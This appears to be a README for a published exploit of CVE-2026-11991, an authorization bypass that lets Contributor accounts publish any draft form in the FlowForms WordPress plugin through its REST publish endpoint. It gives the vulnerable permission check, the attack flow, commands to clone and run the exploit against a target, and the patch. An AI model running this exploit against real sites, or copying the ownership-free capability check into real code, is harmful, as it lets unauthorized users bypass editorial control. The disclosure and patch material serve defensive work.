
Automated exploit for CVE-2026-11991, an authorization bypass in FlowForms WordPress plugin allowing Contributor+ users to publish any draft form via crafted REST API requests.
Authenticated (Contributor+) Authorization Bypass to Publish Any Draft Form in FlowForms ≤ 1.1.1
| Property | Value |
|---|---|
| CVE ID | CVE-2026-11991 |
| CVSS Score | 6.2 — Medium |
| CVSS Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Product | FlowForms — WordPress Conversational Form Builder Plugin |
| Affected | All versions up to and including 1.1.1 |
| Fixed In | 1.1.2 |
| Researcher | Phantom Hat |
Full white-box case study with source code analysis, input flow tracing, and patch diffing:
FlowForms exposes a REST API under the flowforms/v1 namespace. The publish endpoint:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
accepts a user-controlled {id} in the URL path and promotes a draft form to the live site.
The permission_callback for the /publish route performs only a generic capability check:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts is a capability held by Contributors — a role WordPress intentionally restricts from publishing content. There is zero ownership verification against the target form_id. Any authenticated user can publish any draft form on the site.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate draft forms
│<─ "Form Not Published" ───────────│ (unauthenticated response)
│ │
│── POST /flowforms/v1/forms/ │ (4) Trigger publish on
│ {id}/publish ─────────────>│ any draft form ID
│ │ ← no owner check
│<─ { "success": true } ────────────│
│ │
│ Form is now LIVE on the site │ (5) Draft bypasses
│ without editorial approval │ editorial workflow
Contributor role on the target sitegit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Flag | Description | Required |
|---|---|---|
--url | Target WordPress URL | ✅ |
--user | WordPress username (Contributor+) | ✅ |
--password | WordPress password | ✅ |
--num_forms | Number of form IDs to enumerate | ✅ |
--id_start | Starting form ID for enumeration | ✅ |
--proxy | Proxy URL (e.g. http://127.0.0.1:8080) | ❌ |
The exploit performs three automated steps:
Step 1 — Authenticate
Logs in as the attacker (Contributor) and harvests a valid REST API nonce from wp-admin.
Step 2 — Enumerate Drafts
Scans GET /flowform/{id} across the specified ID range. Forms returning "Form Not Published" are collected as targets — these are draft forms the attacker has no ownership over.
Step 3 — Publish
Sends POST /flowforms/v1/forms/{id}/publish with the attacker's nonce. The endpoint accepts the request, promotes the draft, and makes the form live — with zero authorization check on ownership.
| Action | Details |
|---|---|
| Patch | Replace the generic edit_posts check with current_user_can('edit_post', $form_id) — the second argument binds the capability check to the specific post object, enforcing WordPress ownership rules |
| Mitigate | Until patched, restrict the Contributor and Author roles if the plugin is active |
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),